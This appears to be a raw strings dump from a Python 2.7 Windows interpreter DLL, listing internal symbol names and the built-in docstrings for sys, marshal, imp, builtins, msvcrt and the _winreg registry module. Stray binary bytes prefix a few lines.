_Py_HashSecret
_Py_Mangle
_Py_NoneStruct
_Py_NotImplementedStruct
_Py_PackageContext
_Py_QnewFlag
_Py_ReleaseInternedStrings
_Py_SwappedOp
_Py_Ticker
_Py_TrueStruct
_Py_VaBuildValue_SizeT
_Py_ZeroStruct
_Py_add_one_to_index_C
_Py_add_one_to_index_F
_Py_ascii_whitespace
_Py_c_abs
_Py_c_diff
_Py_c_neg
_Py_c_pow
_Py_c_prod
_Py_c_quot
_Py_c_sum
_Py_ctype_table
_Py_ctype_tolower
_Py_ctype_toupper
_Py_dg_dtoa
_Py_dg_freedtoa
_Py_dg_strtod
_Py_double_round
_Py_hgidentifier
_Py_hgversion
_Py_parse_inf_or_nan
_Py_svnversion
displayhook(object) -> None
Print an object to sys.stdout and also save it in __builtin__._
(excepthook(exctype, value, traceback) -> None
Handle an exception by displaying it with a traceback on sys.stderr.
NLSexc_info() -> (type, value, traceback)
Return information about the most recent exception caught by an except
clause in the current stack frame or in an older stack frame.
Vt0exc_clear() -> None
Clear global information on the current exception.  Subsequent calls to
exc_info() will return (None,None,None) until another exception is raised
in the current thread or the execution stack returns to a frame where
another exception is being handled.
exit([status])
Exit the interpreter by raising SystemExit(status).
If the status is omitted or None, it defaults to zero (i.e., success).
If the status is an integer, it will be used as the system exit status.
If it is another kind of object, it will be printed and the system
exit status will be one (i.e., failure).
sgetdefaultencoding() -> string
Return the current default string encoding used by the Unicode 
implementation.
setdefaultencoding(encoding)
Set the current default string encoding used by the Unicode implementation.
getfilesystemencoding() -> string
Return the encoding used to convert Unicode filenames in
operating system filenames.
settrace(function)
Set the global debug tracing function.  It will be called on each
function call.  See the debugger chapter in the library manual.
uigettrace()
Return the global debug tracing function set with sys.settrace.
See the debugger chapter in the library manual.
setprofile(function)
Set the profiling function.  It will be called on each function call
and return.  See the profiler chapter in the library manual.
getprofile()
Return the profiling function set with sys.setprofile.
See the profiler chapter in the library manual.
obcsetcheckinterval(n)
Tell the Python interpreter to check for asynchronous events every
n instructions.  This also affects how often thread switches occur.
getcheckinterval() -> current check interval; see setcheckinterval().
PQsetrecursionlimit(n)
Set the maximum depth of the Python interpreter stack to n.  This
limit prevents infinite recursion from causing an overflow of the C
stack and crashing Python.  The highest possible limit is platform-
dependent.
getrecursionlimit()
Return the current value of the recursion limit, the maximum depth
of the Python interpreter stack.  This limit prevents infinite
recursion from causing an overflow of the C stack and crashing Python.
getwindowsversion()
Return information about the running version of Windows as a named tuple.
The members are named: major, minor, build, platform, service_pack,
service_pack_major, service_pack_minor, suite_mask, and product_type. For
backward compatibility, only the first 5 items are available by indexing.
All elements are numbers, except service_pack which is a string. Platform
may be 0 for win32s, 1 for Windows 9x/ME, 2 for Windows NT/2000/XP/Vista/7,
3 for Windows CE. Product_type may be 1 for a workstation, 2 for a domain
controller, 3 for a server.
getsizeof(object, default) -> int
Return the size of object in bytes.
getrefcount(object) -> integer
Return the reference count of object.  The count returned is generally
one higher than you might expect, because it includes the (temporary)
reference as an argument to getrefcount().
_getframe([depth]) -> frameobject
Return a frame object from the call stack.  If optional integer depth is
given, return the frame object that many calls below the top of the stack.
If that is deeper than the call stack, ValueError is raised.  The default
for depth is zero, returning the frame at the top of the call stack.
This function should be used for internal and specialized
purposes only.
_current_frames() -> dictionary
Return a dictionary mapping each current thread T's thread id to T's
current stack frame.
This function should be used for specialized purposes only.
call_tracing(func, args) -> object
Call func(*args), while tracing is enabled.  The tracing state is
saved, and restored afterwards.  This is intended to be called from
a debugger from a checkpoint, to recursively debug some other code.
callstats() -> tuple of integers
Return a tuple of function call statistics, if CALL_PROFILE was defined
when Python was built.  Otherwise, return None.
When enabled, this function returns detailed, implementation-specific
details about the number of function calls executed. The return value is
a 11-tuple where the entries in the tuple are counts of:
0. all function calls
1. calls to PyFunction_Type objects
2. PyFunction calls that do not create an argument tuple
3. PyFunction calls that do not create an argument tuple
   and bypass PyEval_EvalCodeEx()
4. PyMethod calls
5. PyMethod calls on bound methods
6. PyType calls
7. PyCFunction calls
8. generator calls
9. All other calls
10. Number of stack pops performed by call_function()
_clear_type_cache() -> None
Clear the internal type lookup cache.
This module provides access to some objects used or maintained by the
interpreter and to functions that interact strongly with the interpreter.
Dynamic objects:
argv -- command line arguments; argv[0] is the script pathname if known
path -- module search path; path[0] is the script directory, else ''
modules -- dictionary of loaded modules
displayhook -- called to show results in an interactive session
excepthook -- called to handle any uncaught exception other than SystemExit
  To customize printing in an interactive session or to install a custom
  top-level exception handler, assign other functions to replace these.
exitfunc -- if sys.exitfunc exists, this routine is called when Python exits
  Assigning to sys.exitfunc is deprecated; use the atexit module instead.
stdin -- standard input file object; used by raw_input() and input()
stdout -- standard output file object; used by the print statement
stderr -- standard error object; used for error messages
  By assigning other file objects (or objects that behave like files)
  to these, it is possible to redirect all of the interpreter's I/O.
last_type -- type of last uncaught exception
last_value -- value of last uncaught exception
last_traceback -- traceback of last uncaught exception
  These three are only available in an interactive session after a
  traceback has been printed.
exc_type -- type of exception currently being handled
exc_value -- value of exception currently being handled
exc_traceback -- traceback of exception currently being handled
  The function exc_info() should be used instead of these three,
  because it is thread-safe.
Static objects:
float_info -- a dict with information about the float inplementation.
long_info -- a struct sequence with information about the long implementation.
maxint -- the largest supported integer (the smallest is -maxint-1)
maxsize -- the largest supported length of containers.
maxunicode -- the largest supported character
builtin_module_names -- tuple of module names built into this interpreter
version -- the version of this interpreter as a string
version_info -- version information as a named tuple
hexversion -- version information encoded as a single integer
copyright -- copyright notice pertaining to this interpreter
platform -- platform identifier
executable -- absolute path of the executable binary of the Python interpreter
prefix -- prefix used to find the Python library
exec_prefix -- prefix used to find the machine-specific Python library
float_repr_style -- string indicating the style of repr() output for floats
dllhandle -- [Windows only] integer handle of the Python DLL
winver -- [Windows only] version number of the Python DLL
__stdin__ -- the original stdin; don't touch!
__stdout__ -- the original stdout; don't touch!
__stderr__ -- the original stderr; don't touch!
__displayhook__ -- the original displayhook; don't touch!
__excepthook__ -- the original excepthook; don't touch!
Functions:
displayhook() -- print an object to the screen, and save it in __builtin__._
excepthook() -- print an exception and its traceback to sys.stderr
exc_info() -- return thread-safe information about the current exception
exc_clear() -- clear the exception state for the current thread
exit() -- exit the interpreter by raising SystemExit
getdlopenflags() -- returns flags to be used for dlopen() calls
getprofile() -- get the global profiling function
getrefcount() -- return the reference count for an object (plus one :-)
getrecursionlimit() -- return the max recursion depth for the interpreter
getsizeof() -- return the size of an object in bytes
gettrace() -- get the global debug tracing function
setcheckinterval() -- control how often the interpreter checks for events
setdlopenflags() -- set the flags to be used for dlopen() calls
setprofile() -- set the global profiling function
setrecursionlimit() -- set the max recursion depth for the interpreter
settrace() -- set the global debug tracing function
sys.flags
Flags provided through command line arguments or environment vars.
sys.version_info
Version information as a named tuple.
	^B{	I
Python C API version mismatch for module %.100s: This Python has API version %d, module %.100s has version %d.
dump(value, file[, version])
Write the value on the open file. The value must be a supported type.
The file must be an open file object such as sys.stdout or returned by
open() or os.popen(). It must be opened in binary mode ('wb' or 'w+b').
If the value has (or contains an object that has) an unsupported type, a
ValueError exception is raised 
 but garbage data will also be written
to the file. The object will not be properly read back by load()
New in version 2.4: The version argument indicates the data format that
dump should use.
load(file)
Read one value from the open file and return it. If no valid value is
read (e.g. because the data has a different Python version
incompatible marshal format), raise EOFError, ValueError or TypeError.
The file must be an open file object opened in binary mode ('rb' or
'r+b').
Note: If an object containing an unsupported type was marshalled with
dump(), load() will substitute None for the unmarshallable type.
dumps(value[, version])
Return the string that would be written to a file by dump(value, file).
The value must be a supported type. Raise a ValueError exception if
value has (or contains an object that has) an unsupported type.
New in version 2.4: The version argument indicates the data format that
dumps should use.
loads(string)
Convert the string to a value. If no valid value is found, raise
EOFError, ValueError or TypeError. Extra characters in the string are
ignored.
This module contains functions that can read and write Python values in
a binary format. The format is specific to Python, but independent of
machine architecture issues.
Not all Python object types are supported; in general, only objects
whose value is independent from a particular invocation of Python can be
written and read by this module. The following types are supported:
None, integers, long integers, floating point numbers, strings, Unicode
objects, tuples, lists, sets, dictionaries, and code objects, where it
should be understood that tuples, lists and dictionaries are only
supported as long as the values contained therein are themselves
supported; and recursive lists and dictionaries should not be written
(they will cause infinite loops).
Variables:
version -- indicates the format that the module uses. Version 0 is the
    historical format, version 1 (added in Python 2.4) shares interned
    strings and version 2 (added in Python 2.5) uses a binary format for
    floating point numbers. (New in version 2.4)
Functions:
dump() -- write value to a file
load() -- read value from a file
dumps() -- write value to a string
loads() -- read value from a string
This module provides the components needed to build your own
__import__ function.  Undocumented functions are obsolete.
reload(module) -> module
Reload the module.  The module must have been successfully imported before.
find_module(name, [path]) -> (file, filename, (suffix, mode, type))
Search for a module.  If path is omitted or None, search for a
built-in, frozen or special module and continue search in sys.path.
The module name cannot contain '.'; to search for a submodule of a
package, pass the submodule name and the package's __path__.
load_module(name, file, filename, (suffix, mode, type)) -> module
Load a module, given information returned by find_module().
The module name must include the full package name, if any.
get_magic() -> string
Return the magic number for .pyc or .pyo files.
get_suffixes() -> [(suffix, mode, type), ...]
Return a list of (suffix, mode, type) tuples describing the files
that find_module() looks for.
new_module(name) -> module
Create a new module.  Do not enter it in sys.modules.
The module name must include the full package name, if any.
lock_held() -> boolean
Return True if the import lock is currently held, else False.
On platforms without threads, return False.
acquire_lock() -> None
Acquires the interpreter's import lock for the current thread.
This lock should be used by import hooks to ensure thread-safety
when importing modules.
On platforms without threads, this function does nothing.
release_lock() -> None
Release the interpreter's import lock.
On platforms without threads, this function does nothing.
Copyright (c) 2001-2015 Python Software Foundation.
All Rights Reserved.
Copyright (c) 2000 BeOpen.com.
All Rights Reserved.
Copyright (c) 1995-2001 Corporation for National Research Initiatives.
All Rights Reserved.
Copyright (c) 1991-1995 Stichting Mathematisch Centrum, Amsterdam.
All Rights Reserved.
Hello world...N(
hello.pys
__import__(name, globals={}, locals={}, fromlist=[], level=-1) -> module
Import a module. Because this function is meant for use by the Python
interpreter and not for general use it is better to use
importlib.import_module() to programmatically import a module.
The globals argument is only used to determine the context;
they are not modified.  The locals argument is unused.  The fromlist
should be a list of names to emulate ``from name import ...'', or an
empty list to emulate ``import name''.
When importing a module from a package, note that __import__('A.B', ...)
returns package A when fromlist is empty, but its submodule B when
fromlist is not empty.  Level is used to determine whether to perform 
absolute or relative imports.  -1 is the original strategy of attempting
both absolute and relative imports, 0 is absolute, a positive number
is the number of parent directories to search relative to the current module.
argument %d to map() must support iteration
abs(number) -> number
Return the absolute value of the argument.
all(iterable) -> bool
Return True if bool(x) is True for all values x in the iterable.
If the iterable is empty, return True.
any(iterable) -> bool
Return True if bool(x) is True for any x in the iterable.
If the iterable is empty, return False.
apply(object[, args[, kwargs]]) -> value
Call a callable object with positional arguments taken from the tuple args,
and keyword arguments taken from the optional dictionary kwargs.
Note that classes are callable, as are instances with a __call__() method.
Deprecated since release 2.3. Instead, use the extended call syntax:
    function(*args, **keywords).
bin(number) -> string
Return the binary representation of an integer or long integer.
callable(object) -> bool
Return whether the object is callable (i.e., some kind of function).
Note that classes are callable, as are instances with a __call__() method.
filter(function or None, sequence) -> list, tuple, or string
Return those items of sequence for which function(item) is true.  If
function is None, return the items that are true.  If sequence is a tuple
or string, return the same type, else return a list.
format(value[, format_spec]) -> string
Returns value.__format__(format_spec)
format_spec defaults to ""
chr(i) -> character
Return a string of one character with ordinal i; 0 <= i < 256.
unichr(i) -> Unicode character
Return a Unicode string of one character with ordinal i; 0 <= i <= 0x10ffff.
cmp(x, y) -> integer
Return negative if x<y, zero if x==y, positive if x>y.
coerce(x, y) -> (x1, y1)
Return a tuple consisting of the two numeric arguments converted to
a common type, using the same rules as used by arithmetic operations.
If coercion is not possible, raise TypeError.
compile(source, filename, mode[, flags[, dont_inherit]]) -> code object
Compile the source string (a Python module, statement or expression)
into a code object that can be executed by the exec statement or eval().
The filename will be used for run-time error messages.
The mode must be 'exec' to compile a module, 'single' to compile a
single (interactive) statement, or 'eval' to compile an expression.
The flags argument, if present, controls which future statements influence
the compilation of the code.
The dont_inherit argument, if non-zero, stops the compilation inheriting
the effects of any future statements in effect in the code calling
compile; if absent or zero these statements do influence the compilation,
in addition to any features explicitly specified.
dir([object]) -> list of strings
If called without an argument, return the names in the current scope.
Else, return an alphabetized list of names comprising (some of) the attributes
of the given object, and of attributes reachable from it.
If the object supplies a method named __dir__, it will be used; otherwise
the default dir() logic is used and returns:
  for a module object: the module's attributes.
  for a class object:  its attributes, and recursively the attributes
    of its bases.
  for any other object: its attributes, its class's attributes, and
    recursively the attributes of its class's base classes.
divmod(x, y) -> (quotient, remainder)
Return the tuple ((x-x%y)/y, x%y).  Invariant: div*y + mod == x.
eval(source[, globals[, locals]]) -> value
Evaluate the source in the context of globals and locals.
The source may be a string representing a Python expression
or a code object as returned by compile().
The globals must be a dictionary and locals can be any mapping,
defaulting to the current globals and locals.
If only globals is given, locals defaults to it.
execfile(filename[, globals[, locals]])
Read and execute a Python script from a file.
The globals and locals are dictionaries, defaulting to the current
globals and locals.  If only globals is given, locals defaults to it.
getattr(object, name[, default]) -> value
Get a named attribute from an object; getattr(x, 'y') is equivalent to x.y.
When a default argument is given, it is returned when the attribute doesn't
exist; without it, an exception is raised in that case.
globals() -> dictionary
Return the dictionary containing the current scope's global variables.
hasattr(object, name) -> bool
Return whether the object has an attribute with the given name.
(This is done by calling getattr(object, name) and catching exceptions.)
id(object) -> integer
Return the identity of an object.  This is guaranteed to be unique among
simultaneously existing objects.  (Hint: it's the object's memory address.)
Issue a warning, or maybe ignore it or raise an exception.
map(function, sequence[, sequence, ...]) -> list
Return a list of the results of applying the function to the items of
the argument sequence(s).  If more than one sequence is given, the
function is called with an argument list consisting of the corresponding
item of each sequence, substituting None for missing values when not all
sequences have the same length.  If the function is None, return a list of
the items of the sequence (or a list of tuples if more than one sequence).
next(iterator[, default])
Return the next item from the iterator. If default is given and the iterator
is exhausted, it is returned instead of raising StopIteration.
setattr(object, name, value)
Set a named attribute on an object; setattr(x, 'y', v) is equivalent to
``x.y = v''.
delattr(object, name)
Delete a named attribute on an object; delattr(x, 'y') is equivalent to
``del x.y''.
hash(object) -> integer
Return a hash value for the object.  Two objects with the same value have
the same hash value.  The reverse is not necessarily true, but likely.
hex(number) -> string
Return the hexadecimal representation of an integer or long integer.
input([prompt]) -> value
Equivalent to eval(raw_input(prompt)).
intern(string) -> string
``Intern'' the given string.  This enters the string in the (global)
table of interned strings whose purpose is to speed up dictionary lookups.
Return the string itself or the previously interned string object with the
same value.
iter(collection) -> iterator
iter(callable, sentinel) -> iterator
Get an iterator from an object.  In the first form, the argument must
supply its own iterator, or be a sequence.
In the second form, the callable is called until it returns the sentinel.
len(object) -> integer
Return the number of items of a sequence or collection.
locals() -> dictionary
Update and return a dictionary containing the current scope's local variables.
min(iterable[, key=func]) -> value
min(a, b, c, ...[, key=func]) -> value
With a single iterable argument, return its smallest item.
With two or more arguments, return the smallest argument.
max(iterable[, key=func]) -> value
max(a, b, c, ...[, key=func]) -> value
With a single iterable argument, return its largest item.
With two or more arguments, return the largest argument.
oct(number) -> string
Return the octal representation of an integer or long integer.
open(name[, mode[, buffering]]) -> file object
Open a file using the file() type, returns a file object.  This is the
preferred way to open a file.  See file.__doc__ for further information.
ord(c) -> integer
Return the integer ordinal of a one-character string.
pow(x, y[, z]) -> number
With two arguments, equivalent to x**y.  With three arguments,
equivalent to (x**y) % z, but may be more efficient (e.g. for longs).
print(value, ..., sep=' ', end='\n', file=sys.stdout)
Prints the values to a stream, or to sys.stdout by default.
Optional keyword arguments:
file: a file-like object (stream); defaults to the current sys.stdout.
sep:  string inserted between values, default a space.
end:  string appended after the last value, default a newline.
range(stop) -> list of integers
range(start, stop[, step]) -> list of integers
Return a list containing an arithmetic progression of integers.
range(i, j) returns [i, i+1, i+2, ..., j-1]; start (!) defaults to 0.
When step is given, it specifies the increment (or decrement).
For example, range(4) returns [0, 1, 2, 3].  The end point is omitted!
These are exactly the valid indices for a list of 4 elements.
raw_input([prompt]) -> string
Read a string from standard input.  The trailing newline is stripped.
If the user hits EOF (Unix: Ctl-D, Windows: Ctl-Z+Return), raise EOFError.
On Unix, GNU readline is used if enabled.  The prompt string, if given,
is printed without a trailing newline before reading.
reduce(function, sequence[, initial]) -> value
Apply a function of two arguments cumulatively to the items of a sequence,
from left to right, so as to reduce the sequence to a single value.
For example, reduce(lambda x, y: x+y, [1, 2, 3, 4, 5]) calculates
((((1+2)+3)+4)+5).  If initial is present, it is placed before the items
of the sequence in the calculation, and serves as a default when the
sequence is empty.
reload(module) -> module
Reload the module.  The module must have been successfully imported before.
repr(object) -> string
Return the canonical string representation of the object.
For most object types, eval(repr(object)) == object.
round(number[, ndigits]) -> floating point number
Round a number to a given precision in decimal digits (default 0 digits).
This always returns a floating point number.  Precision may be negative.
sorted(iterable, cmp=None, key=None, reverse=False) --> new sorted list
vars([object]) -> dictionary
Without arguments, equivalent to locals().
With an argument, equivalent to object.__dict__.
sum(sequence[, start]) -> value
Return the sum of a sequence of numbers (NOT strings) plus the value
of parameter 'start' (which defaults to 0).  When the sequence is
empty, return start.
isinstance(object, class-or-type-or-tuple) -> bool
Return whether an object is an instance of a class or of a subclass thereof.
With a type as second argument, return whether that is the object's type.
The form using a tuple, isinstance(x, (A, B, ...)), is a shortcut for
isinstance(x, A) or isinstance(x, B) or ... (etc.).
issubclass(C, B) -> bool
Return whether class C is a subclass (i.e., a derived class) of class B.
When using a tuple as the second argument issubclass(X, (A, B, ...)),
is a shortcut for issubclass(X, A) or issubclass(X, B) or ... (etc.).
zip(seq1 [, seq2 [...]]) -> [(seq1[0], seq2[0] ...), (...)]
Return a list of tuples, where each tuple contains the i-th element
from each of the argument sequences.  The returned list is truncated
in length to the length of the shortest argument sequence.
Built-in functions, exceptions, and other objects.
Noteworthy: None is the `nil' object; Ellipsis represents `...' in slices.
_warnings provides basic warning filtering support.
It is a helper module to speed up interpreter start-up.
Low-level inferface to warnings functionality.
heapmin() -> None
Force the malloc() heap to clean itself up and return unused blocks
to the operating system. On failure, this raises IOError.
locking(fd, mode, nbytes) -> None
Lock part of a file based on file descriptor fd from the C runtime.
Raises IOError on failure. The locked region of the file extends from
the current file position for nbytes bytes, and may continue beyond
the end of the file. mode must be one of the LK_* constants listed
below. Multiple regions in a file may be locked at the same time, but
may not overlap. Adjacent regions are not merged; they must be unlocked
individually.
setmode(fd, mode) -> Previous mode
Set the line-end translation mode for the file descriptor fd. To set
it to text mode, flags should be os.O_TEXT; for binary, it should be
os.O_BINARY.
open_osfhandle(handle, flags) -> file descriptor
Create a C runtime file descriptor from the file handle handle. The
flags parameter should be a bitwise OR of os.O_APPEND, os.O_RDONLY,
and os.O_TEXT. The returned file descriptor may be used as a parameter
to os.fdopen() to create a file object.
get_osfhandle(fd) -> file handle
Return the file handle for the file descriptor fd. Raises IOError
if fd is not recognized.
kbhit() -> bool
Return true if a keypress is waiting to be read.
getch() -> key character
Read a keypress and return the resulting character. Nothing is echoed to
the console. This call will block if a keypress is not already
available, but will not wait for Enter to be pressed. If the pressed key
was a special function key, this will return '\000' or '\xe0'; the next
call will return the keycode. The Control-C keypress cannot be read with
this function.
getwch() -> Unicode key character
Wide char variant of getch(), returning a Unicode value.
getche() -> key character
Similar to getch(), but the keypress will be echoed if it represents
a printable character.
getwche() -> Unicode key character
Wide char variant of getche(), returning a Unicode value.
putch(char) -> None
Print the character char to the console without buffering.
putwch(unicode_char) -> None
Wide char variant of putch(), accepting a Unicode value.
ungetch(char) -> None
Cause the character char to be "pushed back" into the console buffer;
it will be the next character read by getch() or getche().
ungetwch(unicode_char) -> None
Wide char variant of ungetch(), accepting a Unicode value.
Object is not a handle
This module provides access to the Windows registry API.
Functions:
CloseKey() - Closes a registry key.
ConnectRegistry() - Establishes a connection to a predefined registry handle
                    on another computer.
CreateKey() - Creates the specified key, or opens it if it already exists.
DeleteKey() - Deletes the specified key.
DeleteValue() - Removes a named value from the specified registry key.
EnumKey() - Enumerates subkeys of the specified open registry key.
EnumValue() - Enumerates values of the specified open registry key.
ExpandEnvironmentStrings() - Expand the env strings in a REG_EXPAND_SZ string.
FlushKey() - Writes all the attributes of the specified key to the registry.
LoadKey() - Creates a subkey under HKEY_USER or HKEY_LOCAL_MACHINE and stores
            registration information from a specified file into that subkey.
OpenKey() - Alias for <om win32api.RegOpenKeyEx>
OpenKeyEx() - Opens the specified key.
QueryValue() - Retrieves the value associated with the unnamed value for a
               specified key in the registry.
QueryValueEx() - Retrieves the type and data for a specified value name
                 associated with an open registry key.
QueryInfoKey() - Returns information about the specified key.
SaveKey() - Saves the specified key, and all its subkeys a file.
SetValue() - Associates a value with a specified key.
SetValueEx() - Stores data in the value field of an open registry key.
Special objects:
HKEYType -- type object for HKEY objects
error -- exception raised for Win32 errors
Integer constants:
Many constants are defined - see the documentation for each function
to see what constants are used, and where.
CloseKey(hkey) - Closes a previously opened registry key.
The hkey argument specifies a previously opened key.
Note that if the key is not closed using this method, it will be
closed when the hkey object is destroyed by Python.
key = ConnectRegistry(computer_name, key) - Establishes a connection to a predefined registry handle on another computer.
computer_name is the name of the remote computer, of the form \\computername.
 If None, the local computer is used.
key is the predefined handle to connect to.
The return value is the handle of the opened key.
If the function fails, a WindowsError exception is raised.
key = CreateKey(key, sub_key) - Creates or opens the specified key.
key is an already open key, or one of the predefined HKEY_* constants
sub_key is a string that names the key this method opens or creates.
 If key is one of the predefined keys, sub_key may be None. In that case,
 the handle returned is the same key handle passed in to the function.
If the key already exists, this function opens the existing key
The return value is the handle of the opened key.
If the function fails, an exception is raised.
key = CreateKeyEx(key, sub_key, res, sam) - Creates or opens the specified key.
key is an already open key, or one of the predefined HKEY_* constants
sub_key is a string that names the key this method opens or creates.
res is a reserved integer, and must be zero.  Default is zero.
sam is an integer that specifies an access mask that describes the desired
 If key is one of the predefined keys, sub_key may be None. In that case,
 the handle returned is the same key handle passed in to the function.
If the key already exists, this function opens the existing key
The return value is the handle of the opened key.
If the function fails, an exception is raised.
DeleteKey(key, sub_key) - Deletes the specified key.
key is an already open key, or any one of the predefined HKEY_* constants.
sub_key is a string that must be a subkey of the key identified by the key parameter.
 This value must not be None, and the key may not have subkeys.
This method can not delete keys with subkeys.
If the method succeeds, the entire key, including all of its values,
is removed.  If the method fails, a WindowsError exception is raised.
DeleteKeyEx(key, sub_key, sam, res) - Deletes the specified key.
key is an already open key, or any one of the predefined HKEY_* constants.
sub_key is a string that must be a subkey of the key identified by the key parameter.
res is a reserved integer, and must be zero.  Default is zero.
sam is an integer that specifies an access mask that describes the desired
 This value must not be None, and the key may not have subkeys.
This method can not delete keys with subkeys.
If the method succeeds, the entire key, including all of its values,
is removed.  If the method fails, a WindowsError exception is raised.
On unsupported Windows versions, NotImplementedError is raised.
DeleteValue(key, value) - Removes a named value from a registry key.
key is an already open key, or any one of the predefined HKEY_* constants.
value is a string that identifies the value to remove.
string = EnumKey(key, index) - Enumerates subkeys of an open registry key.
key is an already open key, or any one of the predefined HKEY_* constants.
index is an integer that identifies the index of the key to retrieve.
The function retrieves the name of one subkey each time it is called.
It is typically called repeatedly until a WindowsError exception is
raised, indicating no more values are available.
tuple = EnumValue(key, index) - Enumerates values of an open registry key.
key is an already open key, or any one of the predefined HKEY_* constants.
index is an integer that identifies the index of the value to retrieve.
The function retrieves the name of one subkey each time it is called.
It is typically called repeatedly, until a WindowsError exception
is raised, indicating no more values.
The result is a tuple of 3 items:
value_name is a string that identifies the value.
value_data is an object that holds the value data, and whose type depends
 on the underlying registry type.
data_type is an integer that identifies the type of the value data.
string = ExpandEnvironmentStrings(string) - Expand environment vars.
FlushKey(key) - Writes all the attributes of a key to the registry.
key is an already open key, or any one of the predefined HKEY_* constants.
It is not necessary to call RegFlushKey to change a key.
Registry changes are flushed to disk by the registry using its lazy flusher.
Registry changes are also flushed to disk at system shutdown.
Unlike CloseKey(), the FlushKey() method returns only when all the data has
been written to the registry.
An application should only call FlushKey() if it requires absolute certainty that registry changes are on disk.
If you don't know whether a FlushKey() call is required, it probably isn't.
LoadKey(key, sub_key, file_name) - Creates a subkey under the specified key
and stores registration information from a specified file into that subkey.
key is an already open key, or any one of the predefined HKEY_* constants.
sub_key is a string that identifies the sub_key to load
file_name is the name of the file to load registry data from.
 This file must have been created with the SaveKey() function.
 Under the file allocation table (FAT) file system, the filename may not
have an extension.
A call to LoadKey() fails if the calling process does not have the
SE_RESTORE_PRIVILEGE privilege.
If key is a handle returned by ConnectRegistry(), then the path specified
in fileName is relative to the remote computer.
The docs imply key must be in the HKEY_USER or HKEY_LOCAL_MACHINE tree
key = OpenKey(key, sub_key, res = 0, sam = KEY_READ) - Opens the specified key.
key is an already open key, or any one of the predefined HKEY_* constants.
sub_key is a string that identifies the sub_key to open
res is a reserved integer, and must be zero.  Default is zero.
sam is an integer that specifies an access mask that describes the desired
 security access for the key.  Default is KEY_READ
The result is a new handle to the specified key
If the function fails, a WindowsError exception is raised.
See OpenKey()
tuple = QueryInfoKey(key) - Returns information about a key.
key is an already open key, or any one of the predefined HKEY_* constants.
The result is a tuple of 3 items:An integer that identifies the number of sub keys this key has.
An integer that identifies the number of values this key has.
A long integer that identifies when the key was last modified (if available)
 as 100's of nanoseconds since Jan 1, 1600.
string = QueryValue(key, sub_key) - retrieves the unnamed value for a key.
key is an already open key, or any one of the predefined HKEY_* constants.
sub_key is a string that holds the name of the subkey with which the value
 is associated.  If this parameter is None or empty, the function retrieves
 the value set by the SetValue() method for the key identified by key.
Values in the registry have name, type, and data components. This method
retrieves the data for a key's first value that has a NULL name.
But the underlying API call doesn't return the type, Lame Lame Lame, DONT USE THIS!!!
value,type_id = QueryValueEx(key, value_name) - Retrieves the type and data for a specified value name associated with an open registry key.
key is an already open key, or any one of the predefined HKEY_* constants.
value_name is a string indicating the value to query
SaveKey(key, file_name) - Saves the specified key, and all its subkeys to the specified file.
key is an already open key, or any one of the predefined HKEY_* constants.
file_name is the name of the file to save registry data to.
 This file cannot already exist. If this filename includes an extension,
 it cannot be used on file allocation table (FAT) file systems by the
 LoadKey(), ReplaceKey() or RestoreKey() methods.
If key represents a key on a remote computer, the path described by
file_name is relative to the remote computer.
The caller of this method must possess the SeBackupPrivilege security privilege.
This function passes NULL for security_attributes to the API.
SetValue(key, sub_key, type, value) - Associates a value with a specified key.
key is an already open key, or any one of the predefined HKEY_* constants.
sub_key is a string that names the subkey with which the value is associated.
type is an integer that specifies the type of the data.  Currently this
 must be REG_SZ, meaning only strings are supported.
value is a string that specifies the new value.
If the key specified by the sub_key parameter does not exist, the SetValue
function creates it.
Value lengths are limited by available memory. Long values (more than
2048 bytes) should be stored as files with the filenames stored in 
the configuration registry.  This helps the registry perform efficiently.
The key identified by the key parameter must have been opened with
KEY_SET_VALUE access.
SetValueEx(key, value_name, reserved, type, value) - Stores data in the value field of an open registry key.
key is an already open key, or any one of the predefined HKEY_* constants.
value_name is a string containing the name of the value to set, or None
type is an integer that specifies the type of the data.  This should be one of:
  REG_BINARY -- Binary data in any form.
  REG_DWORD -- A 32-bit number.
  REG_DWORD_LITTLE_ENDIAN -- A 32-bit number in little-endian format.
  REG_DWORD_BIG_ENDIAN -- A 32-bit number in big-endian format.
  REG_EXPAND_SZ -- A null-terminated string that contains unexpanded references
                   to environment variables (for example, %PATH%).
  REG_LINK -- A Unicode symbolic link.
  REG_MULTI_SZ -- An sequence of null-terminated strings, terminated by
                  two null characters.  Note that Python handles this
                  termination automatically.
  REG_NONE -- No defined value type.
  REG_RESOURCE_LIST -- A device-driver resource list.
  REG_SZ -- A null-terminated string.
reserved can be anything - zero is always passed to the API.
value is a string that specifies the new value.
This method can also set additional value and type information for the
specified key.  The key identified by the key parameter must have been
opened with KEY_SET_VALUE access.
To open the key, use the CreateKeyEx() or OpenKeyEx() methods.
Value lengths are limited by available memory. Long values (more than
2048 bytes) should be stored as files with the filenames stored in 
the configuration registry.  This helps the registry perform efficiently.
Disables registry reflection for 32-bit processes running on a 64-bit
Operating System.  Will generally raise NotImplemented if executed on
a 32-bit Operating System.
If the key is not on the reflection list, the function succeeds but has no effect.
Disabling reflection for a key does not affect reflection of any subkeys.
Restores registry reflection for the specified disabled key.
Will generally raise NotImplemented if executed on a 32-bit Operating System.
Restoring reflection for a key does not affect reflection of any subkeys.
bool = QueryReflectionKey(hkey) - Determines the reflection state for the specified key.
Will generally raise NotImplemented if executed on a 32-bit Operating System.
PyHKEY Object - A Python object, representing a win32 registry key.
This object wraps a Windows HKEY object, automatically closing it when
the object is destroyed.  To guarantee cleanup, you can call either
the Close() method on the PyHKEY, or the CloseKey() method.
All functions which accept a handle object also accept an integer - 
however, use of the handle object is encouraged.
Functions:
Close() - Closes the underlying handle.
Detach() - Returns the integer Win32 handle, detaching it from the object
Properties:
handle - The integer Win32 handle.
Operations:
__nonzero__ - Handles with an open object return true, otherwise false.
__int__ - Converting a handle to an integer returns the Win32 handle.
__cmp__ - Handle objects are compared using the handle value.
key.Close() - Closes the underlying Windows handle.
If the handle is already closed, no error is raised.
int = key.Detach() - Detaches the Windows handle from the handle object.
The result is the value of the handle before it is detached.  If the
handle is already detached, this will return zero.
After calling this function, the handle is effectively invalidated,
but the handle is not closed.  You would call this function when you
need the underlying win32 handle to exist beyond the lifetime of the
handle object.
On 64 bit windows, the result of this function is a long integer
GetStdHandle(handle) -> integer
Return a handle to the specified standard device
(STD_INPUT_HANDLE, STD_OUTPUT_HANDLE, STD_ERROR_HANDLE).
The integer associated with the handle object is returned.
GetCurrentProcess() -> handle
Return a handle object for the current process.
DuplicateHandle(source_proc_handle, source_handle,
                 target_proc_handle, target_handle, access,
                 inherit[, options]) -> handle
Return a duplicate handle object.
The duplicate handle refers to the same object as the original
handle. Therefore, any changes to the object are reflected
through both handles.
